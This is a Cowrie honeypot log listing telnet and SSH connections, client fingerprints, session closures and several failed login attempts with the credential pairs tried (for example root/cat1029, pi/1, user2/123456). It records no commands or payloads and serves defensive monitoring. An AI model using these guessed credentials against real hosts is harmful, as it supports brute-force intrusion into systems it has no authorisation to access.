{"eventid":"cowrie.session.closed","duration":31.605765104293823,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:16.655525Z","src_ip":"152.42.224.71","session":"4cb9c68d817c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"cat1029","message":"login attempt [root/cat1029] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:16.798891Z","src_ip":"176.65.139.118","session":"a9a3b32071ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54090,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca61e7ed6f4b","protocol":"telnet","message":"New connection: 152.42.224.71:54090 (10.17.0.5:23) [session: ca61e7ed6f4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:17.387876Z"}
{"eventid":"cowrie.session.closed","duration":7.577553749084473,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:17.815291Z","src_ip":"176.65.139.118","session":"a9a3b32071ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":50062,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c46517455f6","protocol":"telnet","message":"New connection: 176.65.139.118:50062 (159.203.135.109:23) [session: 1c46517455f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:18.038539Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54096,"dst_ip":"10.17.0.5","dst_port":23,"session":"73781febb464","protocol":"telnet","message":"New connection: 152.42.224.71:54096 (10.17.0.5:23) [session: 73781febb464]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:18.222810Z"}
{"eventid":"cowrie.session.closed","duration":48.760738372802734,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:19.416878Z","src_ip":"152.42.224.71","session":"a058fd32866c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":42936,"dst_ip":"159.203.135.109","dst_port":22,"session":"11449e3ad281","protocol":"ssh","message":"New connection: 31.40.204.166:42936 (159.203.135.109:22) [session: 11449e3ad281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:19.682772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:19.687871Z","src_ip":"31.40.204.166","session":"11449e3ad281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:19.818745Z","src_ip":"31.40.204.166","session":"11449e3ad281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39318,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ad3a244dd34","protocol":"ssh","message":"New connection: 37.233.85.71:39318 (159.203.135.109:22) [session: 1ad3a244dd34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:20.035677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:20.040736Z","src_ip":"37.233.85.71","session":"1ad3a244dd34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:20.146236Z","src_ip":"37.233.85.71","session":"1ad3a244dd34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8123q","message":"login attempt [root/8123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:20.464602Z","src_ip":"37.233.85.71","session":"1ad3a244dd34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"ai","message":"login attempt [ai/ai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:20.591198Z","src_ip":"31.40.204.166","session":"11449e3ad281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:21.572724Z","src_ip":"37.233.85.71","session":"1ad3a244dd34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:21.790531Z","src_ip":"31.40.204.166","session":"11449e3ad281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00183510780334,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:22.197551Z","src_ip":"152.42.224.71","session":"60de94203b8e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.863078594207764,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:29.901530Z","src_ip":"176.65.139.118","session":"1c46517455f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":59086,"dst_ip":"159.203.135.109","dst_port":23,"session":"74ce2337d9bb","protocol":"telnet","message":"New connection: 176.65.139.118:59086 (159.203.135.109:23) [session: 74ce2337d9bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:30.125624Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58852,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f35c398ffda","protocol":"ssh","message":"New connection: 31.40.204.166:58852 (159.203.135.109:22) [session: 7f35c398ffda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:30.982311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:31.007039Z","src_ip":"31.40.204.166","session":"7f35c398ffda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:31.180292Z","src_ip":"31.40.204.166","session":"7f35c398ffda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:31.791267Z","src_ip":"31.40.204.166","session":"7f35c398ffda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.442122459411621,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:32.567600Z","src_ip":"176.65.139.118","session":"74ce2337d9bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:32.930360Z","src_ip":"31.40.204.166","session":"7f35c398ffda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58102,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee581f820efb","protocol":"telnet","message":"New connection: 152.42.224.71:58102 (10.17.0.5:23) [session: ee581f820efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:33.275949Z"}
{"eventid":"cowrie.session.closed","duration":37.690714597702026,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:36.482150Z","src_ip":"152.42.224.71","session":"61fccd307235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33682,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d1bc841ed43","protocol":"telnet","message":"New connection: 152.42.224.71:33682 (10.17.0.5:23) [session: 2d1bc841ed43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:41.048877Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":48452,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c8cb83c225d","protocol":"ssh","message":"New connection: 31.40.204.166:48452 (159.203.135.109:22) [session: 1c8cb83c225d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:42.281545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:42.287213Z","src_ip":"31.40.204.166","session":"1c8cb83c225d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:42.512042Z","src_ip":"31.40.204.166","session":"1c8cb83c225d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1","message":"login attempt [pi/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:43.116636Z","src_ip":"31.40.204.166","session":"1c8cb83c225d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":33686,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3641d45a56b","protocol":"telnet","message":"New connection: 152.42.224.71:33686 (10.17.0.5:23) [session: f3641d45a56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:43.479779Z"}
{"eventid":"cowrie.session.closed","duration":106.7291042804718,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:44.084492Z","src_ip":"152.42.224.71","session":"c76bc5801010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.743990659713745,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:44.131743Z","src_ip":"152.42.224.71","session":"ca61e7ed6f4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:44.302187Z","src_ip":"31.40.204.166","session":"1c8cb83c225d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.5340518951416,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:44.584788Z","src_ip":"152.42.224.71","session":"8799f0fd46ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45966,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a138b46616f","protocol":"telnet","message":"New connection: 152.42.224.71:45966 (10.17.0.5:23) [session: 3a138b46616f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:47.864605Z"}
{"eventid":"cowrie.session.closed","duration":41.21510624885559,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:48.364399Z","src_ip":"152.42.224.71","session":"be84dfd32228","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00291109085083,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:50.413404Z","src_ip":"152.42.224.71","session":"925f746f9961","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45976,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaa3fccd42d2","protocol":"telnet","message":"New connection: 152.42.224.71:45976 (10.17.0.5:23) [session: aaa3fccd42d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:51.452867Z"}
{"eventid":"cowrie.session.connect","src_ip":"179.176.210.17","src_port":56460,"dst_ip":"10.17.0.5","dst_port":22,"session":"3be55bd5271a","protocol":"ssh","message":"New connection: 179.176.210.17:56460 (10.17.0.5:22) [session: 3be55bd5271a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:51.674634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:51.679654Z","src_ip":"179.176.210.17","session":"3be55bd5271a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:51.824265Z","src_ip":"179.176.210.17","session":"3be55bd5271a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suraj","password":"suraj","message":"login attempt [suraj/suraj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:52.418783Z","src_ip":"179.176.210.17","session":"3be55bd5271a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:53.562753Z","src_ip":"179.176.210.17","session":"3be55bd5271a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52332,"dst_ip":"159.203.135.109","dst_port":22,"session":"aed23837de1d","protocol":"ssh","message":"New connection: 31.40.204.166:52332 (159.203.135.109:22) [session: aed23837de1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:53.580749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:53.585606Z","src_ip":"31.40.204.166","session":"aed23837de1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:53.707999Z","src_ip":"31.40.204.166","session":"aed23837de1d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:54.124434Z","src_ip":"31.40.204.166","session":"aed23837de1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.111598491668701,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:54.591267Z","src_ip":"152.42.224.71","session":"f3641d45a56b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:55.401661Z","src_ip":"31.40.204.166","session":"aed23837de1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.814519166946411,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:56.267156Z","src_ip":"152.42.224.71","session":"aaa3fccd42d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45988,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0f4d3be8795","protocol":"telnet","message":"New connection: 152.42.224.71:45988 (10.17.0.5:23) [session: d0f4d3be8795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:53:56.747436Z"}
